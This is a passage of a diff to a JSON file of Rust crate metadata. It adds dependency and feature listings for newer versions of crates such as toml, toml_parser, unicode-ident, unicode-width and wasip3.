"{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"async-stream\",\"req\":\"^0.3\"},{\"name\":\"backtrace\",\"optional\":true,\"req\":\"^0.3.58\",\"target\":\"cfg(all(tokio_unstable, target_os = \\\"linux\\\"))\"},{\"name\":\"bytes\",\"optional\":true,\"req\":\"^1.2.1\"},{\"features\":[\"async-await\"],\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3.0\"},{\"kind\":\"dev\",\"name\":\"futures-concurrency\",\"req\":\"^7.6.3\"},{\"kind\":\"dev\",\"name\":\"futures-test\",\"req\":\"^0.3.31\"},{\"default_features\":false,\"name\":\"io-uring\",\"optional\":true,\"req\":\"^0.7.6\",\"target\":\"cfg(all(tokio_unstable, target_os = \\\"linux\\\"))\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.168\",\"target\":\"cfg(all(tokio_unstable, target_os = \\\"linux\\\"))\"},{\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.168\",\"target\":\"cfg(unix)\"},{\"kind\":\"dev\",\"name\":\"libc\",\"req\":\"^0.2.168\",\"target\":\"cfg(unix)\"},{\"features\":[\"futures\",\"checkpoint\"],\"kind\":\"dev\",\"name\":\"loom\",\"req\":\"^0.7\",\"target\":\"cfg(loom)\"},{\"default_features\":false,\"name\":\"mio\",\"optional\":true,\"req\":\"^1.0.1\"},{\"default_features\":false,\"features\":[\"os-poll\",\"os-ext\"],\"name\":\"mio\",\"optional\":true,\"req\":\"^1.0.1\",\"target\":\"cfg(all(tokio_unstable, target_os = \\\"linux\\\"))\"},{\"features\":[\"tokio\"],\"kind\":\"dev\",\"name\":\"mio-aio\",\"req\":\"^1\",\"target\":\"cfg(target_os = \\\"freebsd\\\")\"},{\"kind\":\"dev\",\"name\":\"mockall\",\"req\":\"^0.13.0\"},{\"default_features\":false,\"features\":[\"aio\",\"fs\",\"socket\"],\"kind\":\"dev\",\"name\":\"nix\",\"req\":\"^0.29.0\",\"target\":\"cfg(unix)\"},{\"name\":\"parking_lot\",\"optional\":true,\"req\":\"^0.12.0\"},{\"name\":\"pin-project-lite\",\"req\":\"^0.2.11\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\",\"target\":\"cfg(not(all(target_family = \\\"wasm\\\", target_os = \\\"unknown\\\")))\"},{\"name\":\"signal-hook-registry\",\"optional\":true,\"req\":\"^1.1.1\",\"target\":\"cfg(unix)\"},{\"name\":\"slab\",\"optional\":true,\"req\":\"^0.4.9\",\"target\":\"cfg(all(tokio_unstable, target_os = \\\"linux\\\"))\"},{\"features\":[\"all\"],\"name\":\"socket2\",\"optional\":true,\"req\":\"^0.6.0\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"socket2\",\"req\":\"^0.6.0\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.1.0\",\"target\":\"cfg(not(target_family = \\\"wasm\\\"))\"},{\"name\":\"tokio-macros\",\"optional\":true,\"req\":\"~2.6.0\"},{\"kind\":\"dev\",\"name\":\"tokio-stream\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"tokio-test\",\"req\":\"^0.4.0\"},{\"features\":[\"rt\"],\"kind\":\"dev\",\"name\":\"tokio-util\",\"req\":\"^0.7\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"tracing\",\"optional\":true,\"req\":\"^0.1.29\",\"target\":\"cfg(tokio_unstable)\"},{\"kind\":\"dev\",\"name\":\"tracing-mock\",\"req\":\"=0.1.0-beta.1\",\"target\":\"cfg(all(tokio_unstable, target_has_atomic = \\\"64\\\"))\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3.0\",\"target\":\"cfg(all(target_family = \\\"wasm\\\", not(target_os = \\\"wasi\\\")))\"},{\"name\":\"windows-sys\",\"optional\":true,\"req\":\"^0.61\",\"target\":\"cfg(windows)\"},{\"features\":[\"Win32_Foundation\",\"Win32_Security_Authorization\"],\"kind\":\"dev\",\"name\":\"windows-sys\",\"req\":\"^0.61\",\"target\":\"cfg(windows)\"}],\"features\":{\"default\":[],\"fs\":[],\"full\":[\"fs\",\"io-util\",\"io-std\",\"macros\",\"net\",\"parking_lot\",\"process\",\"rt\",\"rt-multi-thread\",\"signal\",\"sync\",\"time\"],\"io-std\":[],\"io-uring\":[\"dep:io-uring\",\"libc\",\"mio/os-poll\",\"mio/os-ext\",\"dep:slab\"],\"io-util\":[\"bytes\"],\"macros\":[\"tokio-macros\"],\"net\":[\"libc\",\"mio/os-poll\",\"mio/os-ext\",\"mio/net\",\"socket2\",\"windows-sys/Win32_Foundation\",\"windows-sys/Win32_Security\",\"windows-sys/Win32_Storage_FileSystem\",\"windows-sys/Win32_System_Pipes\",\"windows-sys/Win32_System_SystemServices\"],\"process\":[\"bytes\",\"libc\",\"mio/os-poll\",\"mio/os-ext\",\"mio/net\",\"signal-hook-registry\",\"windows-sys/Win32_Foundation\",\"windows-sys/Win32_System_Threading\",\"windows-sys/Win32_System_WindowsProgramming\"],\"rt\":[],\"rt-multi-thread\":[\"rt\"],\"signal\":[\"libc\",\"mio/os-poll\",\"mio/net\",\"mio/os-ext\",\"signal-hook-registry\",\"windows-sys/Win32_Foundation\",\"windows-sys/Win32_System_Console\"],\"sync\":[],\"taskdump\":[\"dep:backtrace\"],\"test-util\":[\"rt\",\"sync\",\"time\"],\"time\":[]}}", "toml_0.5.11": "{\"dependencies\":[{\"name\":\"indexmap\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"serde\",\"req\":\"^1.0.97\"},{\"kind\":\"dev\",\"name\":\"serde_derive\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"}],\"features\":{\"default\":[],\"preserve_order\":[\"indexmap\"]}}", "toml_0.9.11+spec-1.1.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"default_features\":false,\"name\":\"foldhash\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"name\":\"indexmap\",\"optional\":true,\"req\":\"^2.11.4\"},{\"kind\":\"dev\",\"name\":\"itertools\",\"req\":\"^0.14.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde-untagged\",\"req\":\"^0.1.9\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.145\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde_spanned\",\"req\":\"^1.0.4\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"toml-test-data\",\"req\":\"^2.3.3\"},{\"features\":[\"snapshot\"],\"kind\":\"dev\",\"name\":\"toml-test-harness\",\"req\":\"^1.3.3\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_datetime\",\"req\":\"^0.7.5\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_parser\",\"optional\":true,\"req\":\"^1.0.6\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_writer\",\"optional\":true,\"req\":\"^1.0.6\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"default_features\":false,\"name\":\"winnow\",\"optional\":true,\"req\":\"^0.7.13\"}],\"features\":{\"debug\":[\"std\",\"toml_parser?/debug\",\"dep:anstream\",\"dep:anstyle\"],\"default\":[\"std\",\"serde\",\"parse\",\"display\"],\"display\":[\"dep:toml_writer\"],\"fast_hash\":[\"preserve_order\",\"dep:foldhash\"],\"parse\":[\"dep:toml_parser\",\"dep:winnow\"],\"preserve_order\":[\"dep:indexmap\",\"std\"],\"serde\":[\"dep:serde_core\",\"toml_datetime/serde\",\"serde_spanned/serde\"],\"std\":[\"indexmap?/std\",\"serde_core?/std\",\"toml_parser?/std\",\"toml_writer?/std\",\"toml_datetime/std\",\"serde_spanned/std\"],\"unbounded\":[]}}", + "toml_0.9.12+spec-1.1.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"default_features\":false,\"name\":\"foldhash\",\"optional\":true,\"req\":\"^0.2.0\"},{\"default_features\":false,\"name\":\"indexmap\",\"optional\":true,\"req\":\"^2.11.4\"},{\"kind\":\"dev\",\"name\":\"itertools\",\"req\":\"^0.14.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde-untagged\",\"req\":\"^0.1.9\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.145\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"serde_spanned\",\"req\":\"^1.0.4\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"toml-test-data\",\"req\":\"^2.3.3\"},{\"features\":[\"snapshot\"],\"kind\":\"dev\",\"name\":\"toml-test-harness\",\"req\":\"^1.3.3\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_datetime\",\"req\":\"^0.7.5\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_parser\",\"optional\":true,\"req\":\"^1.0.7\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"toml_writer\",\"optional\":true,\"req\":\"^1.0.6\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"default_features\":false,\"name\":\"winnow\",\"optional\":true,\"req\":\"^0.7.13\"}],\"features\":{\"debug\":[\"std\",\"toml_parser?/debug\",\"dep:anstream\",\"dep:anstyle\"],\"default\":[\"std\",\"serde\",\"parse\",\"display\"],\"display\":[\"dep:toml_writer\"],\"fast_hash\":[\"preserve_order\",\"dep:foldhash\"],\"parse\":[\"dep:toml_parser\",\"dep:winnow\"],\"preserve_order\":[\"dep:indexmap\",\"std\"],\"serde\":[\"dep:serde_core\",\"toml_datetime/serde\",\"serde_spanned/serde\"],\"std\":[\"indexmap?/std\",\"serde_core?/std\",\"toml_parser?/std\",\"toml_writer?/std\",\"toml_datetime/std\",\"serde_spanned/std\"],\"unbounded\":[]}}", "toml_datetime_0.7.5+spec-1.1.0": "{\"dependencies\":[{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"}],\"features\":{\"alloc\":[\"serde_core?/alloc\"],\"default\":[\"std\"],\"serde\":[\"dep:serde_core\"],\"std\":[\"alloc\",\"serde_core?/std\"]}}", "toml_edit_0.23.10+spec-1.0.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"features\":[\"std\"],\"name\":\"indexmap\",\"req\":\"^2.11.4\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.7.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde-untagged\",\"req\":\"^0.1.9\"},{\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.145\"},{\"features\":[\"serde\"],\"name\":\"serde_spanned\",\"optional\":true,\"req\":\"^1.0.4\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"toml-test-data\",\"req\":\"^2.3.3\"},{\"features\":[\"snapshot\"],\"kind\":\"dev\",\"name\":\"toml-test-harness\",\"req\":\"^1.3.3\"},{\"name\":\"toml_datetime\",\"req\":\"^0.7.4\"},{\"name\":\"toml_parser\",\"optional\":true,\"req\":\"^1.0.5\"},{\"name\":\"toml_writer\",\"optional\":true,\"req\":\"^1.0.5\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"name\":\"winnow\",\"optional\":true,\"req\":\"^0.7.13\"}],\"features\":{\"debug\":[\"toml_parser?/debug\",\"dep:anstream\",\"dep:anstyle\",\"display\"],\"default\":[\"parse\",\"display\"],\"display\":[\"dep:toml_writer\"],\"parse\":[\"dep:toml_parser\",\"dep:winnow\"],\"serde\":[\"dep:serde_core\",\"toml_datetime/serde\",\"dep:serde_spanned\"],\"unbounded\":[]}}", "toml_edit_0.24.0+spec-1.1.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"features\":[\"std\"],\"name\":\"indexmap\",\"req\":\"^2.11.4\"},{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.7.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde-untagged\",\"req\":\"^0.1.9\"},{\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.225\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.145\"},{\"features\":[\"serde\"],\"name\":\"serde_spanned\",\"optional\":true,\"req\":\"^1.0.4\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"toml-test-data\",\"req\":\"^2.3.3\"},{\"features\":[\"snapshot\"],\"kind\":\"dev\",\"name\":\"toml-test-harness\",\"req\":\"^1.3.3\"},{\"name\":\"toml_datetime\",\"req\":\"^0.7.5\"},{\"name\":\"toml_parser\",\"optional\":true,\"req\":\"^1.0.6\"},{\"name\":\"toml_writer\",\"optional\":true,\"req\":\"^1.0.6\"},{\"kind\":\"dev\",\"name\":\"walkdir\",\"req\":\"^2.5.0\"},{\"name\":\"winnow\",\"optional\":true,\"req\":\"^0.7.13\"}],\"features\":{\"debug\":[\"toml_parser?/debug\",\"dep:anstream\",\"dep:anstyle\",\"display\"],\"default\":[\"parse\",\"display\"],\"display\":[\"dep:toml_writer\"],\"parse\":[\"dep:toml_parser\",\"dep:winnow\"],\"serde\":[\"dep:serde_core\",\"toml_datetime/serde\",\"dep:serde_spanned\"],\"unbounded\":[]}}", "toml_parser_1.0.6+spec-1.1.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"features\":[\"test\"],\"kind\":\"dev\",\"name\":\"anstream\",\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"default_features\":false,\"name\":\"winnow\",\"req\":\"^0.7.13\"}],\"features\":{\"alloc\":[],\"debug\":[\"std\",\"dep:anstream\",\"dep:anstyle\"],\"default\":[\"std\"],\"simd\":[\"winnow/simd\"],\"std\":[\"alloc\"],\"unsafe\":[]}}", + "toml_parser_1.0.9+spec-1.1.0": "{\"dependencies\":[{\"name\":\"anstream\",\"optional\":true,\"req\":\"^0.6.20\"},{\"features\":[\"test\"],\"kind\":\"dev\",\"name\":\"anstream\",\"req\":\"^0.6.20\"},{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0.11\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"default_features\":false,\"name\":\"winnow\",\"req\":\"^0.7.13\"}],\"features\":{\"alloc\":[],\"debug\":[\"std\",\"dep:anstream\",\"dep:anstyle\"],\"default\":[\"std\"],\"simd\":[\"winnow/simd\"],\"std\":[\"alloc\"],\"unsafe\":[]}}", "toml_writer_1.0.6+spec-1.1.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.7.0\"},{\"kind\":\"dev\",\"name\":\"snapbox\",\"req\":\"^0.6.21\"},{\"kind\":\"dev\",\"name\":\"toml_old\",\"package\":\"toml\",\"req\":\"^0.5.11\"}],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"std\":[\"alloc\"]}}", "tonic-prost_0.14.3": "{\"dependencies\":[{\"name\":\"bytes\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"http-body\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"http-body-util\",\"req\":\"^0.1\"},{\"name\":\"prost\",\"req\":\"^0.14\"},{\"features\":[\"macros\",\"rt-multi-thread\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"tokio-stream\",\"req\":\"^0.1\"},{\"default_features\":false,\"name\":\"tonic\",\"req\":\"^0.14.0\"}],\"features\":{}}", "tonic_0.14.3": "{\"dependencies\":[{\"name\":\"async-trait\",\"optional\":true,\"req\":\"^0.1.13\"},{\"default_features\":false,\"name\":\"axum\",\"optional\":true,\"req\":\"^0.8\"},{\"name\":\"base64\",\"req\":\"^0.22\"},{\"kind\":\"dev\",\"name\":\"bencher\",\"req\":\"^0.1.5\"},{\"name\":\"bytes\",\"req\":\"^1.0\"},{\"name\":\"flate2\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"h2\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"http\",\"req\":\"^1.1.0\"},{\"name\":\"http-body\",\"req\":\"^1\"},{\"name\":\"http-body-util\",\"req\":\"^0.1\"},{\"features\":[\"http1\",\"http2\"],\"name\":\"hyper\",\"optional\":true,\"req\":\"^1\"},{\"name\":\"hyper-timeout\",\"optional\":true,\"req\":\"^0.5\"},{\"features\":[\"tokio\"],\"name\":\"hyper-util\",\"optional\":true,\"req\":\"^0.1.11\"},{\"name\":\"percent-encoding\",\"req\":\"^2.1\"},{\"name\":\"pin-project\",\"req\":\"^1.0.11\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"quickcheck_macros\",\"req\":\"^1.0\"},{\"name\":\"rustls-native-certs\",\"optional\":true,\"req\":\"^0.8\"},{\"features\":[\"all\"],\"name\":\"socket2\",\"optional\":true,\"req\":\"^0.6\"},{\"kind\":\"dev\",\"name\":\"static_assertions\",\"req\":\"^1.0\"},{\"name\":\"sync_wrapper\",\"req\":\"^1.0.2\"},{\"default_features\":false,\"name\":\"tokio\",\"optional\":true,\"req\":\"^1\"},{\"features\":[\"rt-multi-thread\",\"macros\"],\"kind\":\"dev\",\"name\":\"tokio\",\"req\":\"^1.0\"},{\"default_features\":false,\"features\":[\"logging\",\"tls12\"],\"name\":\"tokio-rustls\",\"optional\":true,\"req\":\"^0.26.1\"},{\"default_features\":false,\"name\":\"tokio-stream\",\"req\":\"^0.1.16\"},{\"default_features\":false,\"name\":\"tower\",\"optional\":true,\"req\":\"^0.5\"},{\"features\":[\"load-shed\",\"timeout\"],\"kind\":\"dev\",\"name\":\"tower\",\"req\":\"^0.5\"},{\"name\":\"tower-layer\",\"req\":\"^0.3\"},{\"name\":\"tower-service\",\"req\":\"^0.3\"},{\"name\":\"tracing\",\"req\":\"^0.1\"},{\"name\":\"webpki-roots\",\"optional\":true,\"req\":\"^1\"},{\"name\":\"zstd\",\"optional\":true,\"req\":\"^0.13.0\"}],\"features\":{\"_tls-any\":[\"dep:tokio\",\"tokio?/rt\",\"tokio?/macros\",\"tls-connect-info\"],\"channel\":[\"dep:hyper\",\"hyper?/client\",\"dep:hyper-util\",\"hyper-util?/client-legacy\",\"dep:tower\",\"tower?/balance\",\"tower?/buffer\",\"tower?/discover\",\"tower?/limit\",\"tower?/load-shed\",\"tower?/util\",\"dep:tokio\",\"tokio?/time\",\"dep:hyper-timeout\"],\"codegen\":[\"dep:async-trait\"],\"default\":[\"router\",\"transport\",\"codegen\"],\"deflate\":[\"dep:flate2\"],\"gzip\":[\"dep:flate2\"],\"router\":[\"dep:axum\",\"dep:tower\",\"tower?/util\"],\"server\":[\"dep:h2\",\"dep:hyper\",\"hyper?/server\",\"dep:hyper-util\",\"hyper-util?/service\",\"hyper-util?/server-auto\",\"dep:socket2\",\"dep:tokio\",\"tokio?/macros\",\"tokio?/net\",\"tokio?/time\",\"tokio-stream/net\",\"dep:tower\",\"tower?/util\",\"tower?/limit\",\"tower?/load-shed\"],\"tls-aws-lc\":[\"_tls-any\",\"tokio-rustls/aws-lc-rs\"],\"tls-connect-info\":[\"dep:tokio-rustls\"],\"tls-native-roots\":[\"_tls-any\",\"channel\",\"dep:rustls-native-certs\"],\"tls-ring\":[\"_tls-any\",\"tokio-rustls/ring\"],\"tls-webpki-roots\":[\"_tls-any\",\"channel\",\"dep:webpki-roots\"],\"transport\":[\"server\",\"channel\"],\"zstd\":[\"dep:zstd\"]}}", @@ -1404,6 +1454,7 @@ "unicase_2.9.0": "{\"dependencies\":[],\"features\":{\"nightly\":[]}}", "unicode-bidi_0.3.18": "{\"dependencies\":[{\"name\":\"flame\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"flamer\",\"optional\":true,\"req\":\"^0.4\"},{\"default_features\":false,\"features\":[\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\">=0.8, <2.0\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\">=0.8, <2.0\"},{\"features\":[\"union\"],\"name\":\"smallvec\",\"optional\":true,\"req\":\">=1.13\"}],\"features\":{\"bench_it\":[],\"default\":[\"std\",\"hardcoded-data\"],\"flame_it\":[\"flame\",\"flamer\"],\"hardcoded-data\":[],\"std\":[],\"unstable\":[],\"with_serde\":[\"serde\"]}}", "unicode-ident_1.0.22": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.7\"},{\"kind\":\"dev\",\"name\":\"fst\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"roaring\",\"req\":\"^0.11\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"ucd-trie\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"unicode-xid\",\"req\":\"^0.2.6\"}],\"features\":{}}", + "unicode-ident_1.0.24": "{\"dependencies\":[{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.8\",\"target\":\"cfg(not(miri))\"},{\"kind\":\"dev\",\"name\":\"fst\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.10\"},{\"kind\":\"dev\",\"name\":\"roaring\",\"req\":\"^0.11\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"ucd-trie\",\"req\":\"^0.1\"},{\"kind\":\"dev\",\"name\":\"unicode-xid\",\"req\":\"^0.2.6\"}],\"features\":{}}", "unicode-linebreak_0.1.5": "{\"dependencies\":[],\"features\":{}}", "unicode-normalization_0.1.25": "{\"dependencies\":[{\"features\":[\"alloc\"],\"name\":\"tinyvec\",\"req\":\"^1\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "unicode-properties_0.1.4": "{\"dependencies\":[],\"features\":{\"default\":[\"general-category\",\"emoji\"],\"emoji\":[],\"general-category\":[]}}", @@ -1411,6 +1462,7 @@ "unicode-truncate_1.1.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"default_features\":false,\"name\":\"itertools\",\"req\":\"^0.13\"},{\"default_features\":false,\"name\":\"unicode-segmentation\",\"req\":\"^1\"},{\"name\":\"unicode-width\",\"req\":\"^0.1\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "unicode-width_0.1.14": "{\"dependencies\":[{\"name\":\"compiler_builtins\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"std\",\"optional\":true,\"package\":\"rustc-std-workspace-std\",\"req\":\"^1.0\"}],\"features\":{\"cjk\":[],\"default\":[\"cjk\"],\"no_std\":[],\"rustc-dep-of-std\":[\"std\",\"core\",\"compiler_builtins\"]}}", "unicode-width_0.2.1": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"std\",\"optional\":true,\"package\":\"rustc-std-workspace-std\",\"req\":\"^1.0\"}],\"features\":{\"cjk\":[],\"default\":[\"cjk\"],\"no_std\":[],\"rustc-dep-of-std\":[\"std\",\"core\"]}}", + "unicode-width_0.2.2": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"std\",\"optional\":true,\"package\":\"rustc-std-workspace-std\",\"req\":\"^1.0\"}],\"features\":{\"cjk\":[],\"default\":[\"cjk\"],\"no_std\":[],\"rustc-dep-of-std\":[\"std\",\"core\"]}}", "unicode-xid_0.2.6": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.3\"}],\"features\":{\"bench\":[],\"default\":[],\"no_std\":[]}}", "universal-hash_0.5.1": "{\"dependencies\":[{\"name\":\"crypto-common\",\"req\":\"^0.1.6\"},{\"default_features\":false,\"name\":\"subtle\",\"req\":\"^2.4\"}],\"features\":{\"std\":[\"crypto-common/std\"]}}", "unsafe-libyaml_0.2.11": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"pretty_assertions\",\"req\":\"^1.0\"}],\"features\":{}}", @@ -1435,13 +1487,17 @@ "want_0.3.1": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"tokio-executor\",\"req\":\"^0.2.0-alpha.2\"},{\"kind\":\"dev\",\"name\":\"tokio-sync\",\"req\":\"^0.2.0-alpha.2\"},{\"name\":\"try-lock\",\"req\":\"^0.2.4\"}],\"features\":{}}", "wasi_0.11.1+wasi-snapshot-preview1": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"name\":\"rustc-std-workspace-alloc\",\"optional\":true,\"req\":\"^1.0\"}],\"features\":{\"default\":[\"std\"],\"rustc-dep-of-std\":[\"core\",\"rustc-std-workspace-alloc\"],\"std\":[]}}", "wasip2_1.0.2+wasi-0.2.9": "{\"dependencies\":[{\"name\":\"alloc\",\"optional\":true,\"package\":\"rustc-std-workspace-alloc\",\"req\":\"^1.0\"},{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"wit-bindgen\",\"req\":\"^0.51.0\"}],\"features\":{\"bitflags\":[\"wit-bindgen/bitflags\"],\"default\":[\"std\",\"bitflags\"],\"rustc-dep-of-std\":[\"core\",\"alloc\",\"wit-bindgen/rustc-dep-of-std\"],\"std\":[]}}", + "wasip3_0.4.0+wasi-0.3.0-rc-2026-01-06": "{\"dependencies\":[{\"name\":\"bytes\",\"optional\":true,\"req\":\"^1.10.1\"},{\"kind\":\"dev\",\"name\":\"futures\",\"req\":\"^0.3.31\"},{\"name\":\"http\",\"optional\":true,\"req\":\"^1.3.1\"},{\"kind\":\"dev\",\"name\":\"http\",\"req\":\"^1.3.1\"},{\"name\":\"http-body\",\"optional\":true,\"req\":\"^1.0.1\"},{\"name\":\"thiserror\",\"optional\":true,\"req\":\"^2.0.17\"},{\"default_features\":false,\"features\":[\"async\"],\"name\":\"wit-bindgen\",\"req\":\"^0.51.0\"},{\"default_features\":false,\"features\":[\"async-spawn\"],\"kind\":\"dev\",\"name\":\"wit-bindgen\",\"req\":\"^0.51.0\"}],\"features\":{\"http-compat\":[\"dep:bytes\",\"dep:http-body\",\"dep:http\",\"dep:thiserror\",\"wit-bindgen/async-spawn\"]}}", "wasite_0.1.0": "{\"dependencies\":[],\"features\":{}}", "wasm-bindgen-futures_0.4.58": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"futures-channel\",\"req\":\"^0.3\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"default_features\":false,\"name\":\"futures-core\",\"optional\":true,\"req\":\"^0.3.8\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"futures-lite\",\"req\":\"^2\",\"target\":\"cfg(target_arch = \\\"wasm32\\\")\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"futures-util\",\"optional\":true,\"req\":\"^0.3.31\"},{\"default_features\":false,\"name\":\"js-sys\",\"req\":\"=0.3.85\"},{\"default_features\":false,\"name\":\"once_cell\",\"req\":\"^1.12\"},{\"default_features\":false,\"name\":\"wasm-bindgen\",\"req\":\"=0.2.108\"},{\"default_features\":false,\"features\":[\"MessageEvent\",\"Worker\"],\"name\":\"web-sys\",\"req\":\"=0.3.85\",\"target\":\"cfg(target_feature = 